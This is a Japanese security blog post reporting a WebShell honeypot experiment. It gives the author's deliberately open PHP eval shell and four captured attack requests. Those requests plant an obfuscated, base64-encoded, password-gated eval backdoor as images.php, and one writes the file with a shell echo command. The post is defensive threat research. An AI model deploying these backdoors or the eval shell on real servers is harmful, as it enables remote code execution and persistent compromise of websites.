こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した

久しぶりにハニーポットのネタです。

タイトルが全てですが「最近、WebShell設置の調査に対するスキャン多すぎない?」と思ったのが発端。

WebShell設置の調査に対するスキャンとは、適当なファイル名のphpファイルに対して、HTTPリクエストボディにdie(@md5(J4nur4ry));とかセットされているリクエストです。

こういうときに「なら、本当にWebShellがあったら、お前ら(攻撃者)どうするつもりなの?」と思うのは自然な発想ですね。

ということで、投入されたデータを実行するWebShellを作成して観察をしました。

環境

AWSのEC2のインスタンスを立てて、その上にDockerコンテナを立てました。

なお、現在、高対話型ハニーポット基盤を構築しており、そちらに構築したDockerコンテナの一つです。
運用が安定してインストール手順がまとまったらgithubで公開予定です。

動かすPHPコードはこちらです。

<?php foreach($_REQUEST as $v){
try{
    eval($v.";");
}catch(Throwable $e){
}
}

はい、見る人が見たら卒倒・激怒りするようなコードですね。

どんなパラメータ名だろうがeval関数で実行して返します。
$_REQUEST変数を使用しているため、GETリクエストにもPOSTリクエストにも対応しています。 また、Webサーバの設定で、拡張子phpへのリクエストは全てこのコードに流れるようルーティングします。

system関数でなくeval関数を実行するようにしたのは、冒頭に記載したdie(@md5(J4nur4ry));に対応するためです。
die(@md5(J4nur4ry));をeval関数で実行すると、4df5791c3e09e5c7faa7b3ce35d9cd4bハッシュ値を返却します。攻撃者は、レスポンスにこのハッシュ値が含まれているかどうかで、WebShellが設置されているか判断しているのでしょう。

観測結果

WebShell設置スキャンの件数推移

まず、WebShell設置に対するスキャン行為が、どれほどの件数があるか集計しました。
HTTPリクエストボディにdie(@md5(J4nur4ry));を含むPOSTリクエストを条件に集計しています。

年月日 件数 IPアドレス
20190111 185 200.61.XXX.XXX
20190111 185 58.129.XXX.XXX
20190113 185 139.199.XXX.XXX
20190113 123 171.244.XXX.XXX
20190114 185 150.109.XXX.XXX
20190114 190 181.115.XXX.XXX
20190116 190 118.25.XXX.XXX
20190116 190 123.207.XXX.XXX
20190116 185 132.232.XXX.XXX
20190116 180 132.232.XXX.XXX
20190116 190 61.19.XXX.XXX
20190117 184 118.24.XXX.XXX
20190118 190 118.126.XXX.XXX
20190119 191 106.12.XXX.XXX
20190120 191 132.232.XXX.XXX
20190120 191 139.199.XXX.XXX
20190121 191 120.31.XXX.XXX
20190121 191 154.209.XXX.XXX

年月日とIPアドレス単位で集計すると、件数が近似していますね。
同じ攻撃者なのか、または同じツールを使用しているのでしょうか。

さて、2019/1/17まではWOWHoneypotを使用して適当なHTMLレスポンスを返却していましたが、
2019/1/18にWebShellの稼働を始めました。

その後、2019/1/19からそれ以前には観測したことのない攻撃データを観測し始めました。
4パターンを観測しましたので順に紹介します。

攻撃パターン1

POSTリクエストです。以下、HTTPリクエストボディの内容です。

m=eval($_POST["h"])&
q=eval($_POST["h"])&
mx=eval($_POST["h"])&
520=eval($_POST["h"])&
cnm=eval($_POST["h"])&
0o0=eval($_POST["h"])&
1=eval($_POST["h"])&
2=eval($_POST["h"])&
4=eval($_POST["h"])&
5=eval($_POST["h"])&
-2=eval($_POST["h"])&
111=eval($_POST["h"])&
a=eval($_POST["h"])&
cmd=eval($_POST["h"])&
admin=eval($_POST["h"])&
garry=eval($_POST["h"])&
guess=eval($_POST["h"])&
username=eval($_POST["h"])&
h=die(@file_put_contents("images.php",
'<?php $func=\'c\'.\'r\'.\'e\'.\'a\'.\'t\'.\'e\'.\'_\'.\'f\'.\'u\'.\'n\'.\'c\'.\'t\'.\'i\'.\'o\'.\'n\';
$test=$func(\'$x\',\'e\'.\'v\'.\'a\'.\'l\'.\'(b\'.\'a\'.\'s\'.\'e\'.\'6\'.\'4\'.\'_\'.\'d\'.\'e\'.\'c\'.\'o\'.\'d\'.\'e($x));\');
$test(\'QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ==\'); ?>',LOCK_EX) ? md5("111niLniW") : "failed");

※適当なところで改行を挟んでいます。

hパラメータに注目です。
images.phpというファイル名でPHPファイルを作成しようとしています。

少々、難読化されていますが、簡単に説明するとQHNlc3Npb25fc3RhcnQoK~の文字列をBASE64デコードして実行するコードです。
デコードしてみましょう。

@session_start();
if(isset($_POST['code'])){
  (substr(sha1(md5(@$_POST['a'])),36)=='222f')&&$_SESSION['theCode']=trim($_POST['code']);
}
if(isset($_SESSION['theCode'])){
  @eval(base64_decode($_SESSION['theCode']));
}

なんと、新たなWebShellの設置リクエストでした。
codeパラメータで受けたコードをeval関数で実行する処理です。
既に用意したWebShellでも任意のコードが実行可能であるにも関わらず、自分で設置しようとしています。

また、aパラメータによる簡単な認証処理も実行しています。
他者に使われないようにしているのでしょうか。自分は、他者が設置したWebShellを利用しているというのに!

この攻撃の件数推移は以下の通りです。

年月日 件数 IPアドレス
20190119 5 111.230.XXX.XXX
20190119 3 111.231.XXX.XXX
20190119 3 117.79.XXX.XXX
20190119 3 118.89.XXX.XXX
20190119 8 154.8.XXX.XXX
20190119 6 180.76.XXX.XXX
20190119 2 193.112.XXX.XXX

攻撃パターン2

POSTリクエストです。以下、HTTPリクエストボディの内容です。

--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="submit"


--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="newname"


--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="_upl"

Upload
--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="sendfile"

true
--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="h"

if (copy($_FILES[file][tmp_name],$_FILES[file][name])) die(md5(UploadDone));
--------------------------xxxxxxxxxxxxxxxx
(snip)
--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="z"; filename="E:\\PHPnow\\htdocs\\images.php"
Content-Type: application/octet-stream

<?php /*1*/$CF/*2*/='c'./*3*/"".'r'./*exit;*/"".'e'./*5*/"".'a'./*6*/"".'t'./*7*/"".'e'./*8*/"".'_'./*9*/"".'f'./*0*/"".'u'./*echo*/"".'n'./*9*/"".'c'./*8*/"".'t'./*7*/"".'i'./*6*/"".'o'./*5*/"".'n';$EB/*die();*/=@$CF/*3*/('','e'.""./*2*/'v'.""./*1*/'a'.""./*0*/'l'.""./*1*/'(b'.""./*2*/'a'.""./*3*/'s'.""./*sleep(1);*/'e'.""./*5*/'6'.""./*6*/'4'.""./*7*/'_'.""./*8*/'d'.""./*9*/'e'.""./*0*/'c'.""./*1*/'o'.""./*2*/'d'.""./*3*/'e'.""./*echo*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*exit;*/();/*die("FWA");*/ ?>
--------------------------xxxxxxxxxxxxxxxx
(snip)

multipartのリクエストです。ファイルアップロードしようとしているようです。
コメントアウトを随所に挟むことで難読化していますが、部分部分に注目すると攻撃パターン1と似ています。
BASE64デコードすると以下の通りです。
攻撃パターン1と比べると、{}が無い程度の違いのみで、同じ処理です。

@session_start();
if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];
if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

つまり、こちらもWebShellの設置リクエストでした。

この攻撃の件数推移は以下の通りです。攻撃パターン1と同じIPアドレスでした。

年月日 件数 IPアドレス
20190119 28 111.230.XXX.XXX
20190119 29 111.231.XXX.XXX
20190119 22 117.79.XXX.XXX
20190119 22 118.89.XXX.XXX
20190119 23 154.8.XXX.XXX
20190119 21 180.76.XXX.XXX
20190119 22 193.112.XXX.XXX

攻撃パターン3

GETリクエストです。以下、クエリパラメータです。

cmd=echo "<?php \$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\$test=\$func('\$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e(\$x));');\$test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ=='); ?>" >images.php & echo Hello, Peppa!

攻撃パターン1とコードが似ています。
BASE64エンコード文字列は、全く同じです。

つまり、こちらもWebShellの設置リクエストでした。

この攻撃の件数推移は以下の通りです。件数は少なめです。

年月日 件数 IPアドレス
20190119 2 111.230.XXX.XXX
20190119 2 111.231.XXX.XXX

攻撃パターン4

攻撃パターン1、2、3ともにimages.phpを設置するリクエストでしたが、当然、images.phpへのリクエストもありました。

a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7

BASE64デコードすると、die("Hello, Peppa!");となります。
自分が設置したWebShellが稼働しているか確認するリクエストのようです。

このリクエストに対してHello, Peppa!と返却すると、いよいよ攻撃者の目的を果たすための攻撃コードが着弾したのでしょうか。 しかし、攻撃パターン1、2および3で設置されたimages.phpへのルーティングはしていないため、失敗に終わりました。残念。

この攻撃の件数推移は以下の通りです。攻撃パターン1および2と同じIPアドレスでした。

年月日 件数 IPアドレス
20190119 68 111.230.XXX.XXX
20190119 62 111.231.XXX.XXX
20190119 48 117.79.XXX.XXX
20190119 52 118.89.XXX.XXX
20190119 62 154.8.XXX.XXX
20190119 53 180.76.XXX.XXX
20190119 47 193.112.XXX.XXX

まとめ

スキャン行為に対応するWebShellを設置していれば、すぐに本格的な攻撃コードが着弾すると想定していましたが、攻撃者は思いのほか慎重でした。まさかWebShellをもう1つ作成されるとは。

ただ、今回、低対話型ハニーポットでは観測が難しいところまで観測できたのではと感じています。 継続、日々攻撃を観察して、攻撃者が期待するレスポンスを返す環境を構築し提供することで、攻撃者の動きの深追いを続けていきたいと思います。
但し、当然、本当に攻撃を受けているため、環境の頻繁なリストア・戻し処理等、万全な体制で臨む必要があります。

なお、このBlog記事を書いている間も、Tomcatハニーポットに興味深いアクセスが来ていたので、後日まとめる予定です。

続きです。
graneed.hatenablog.com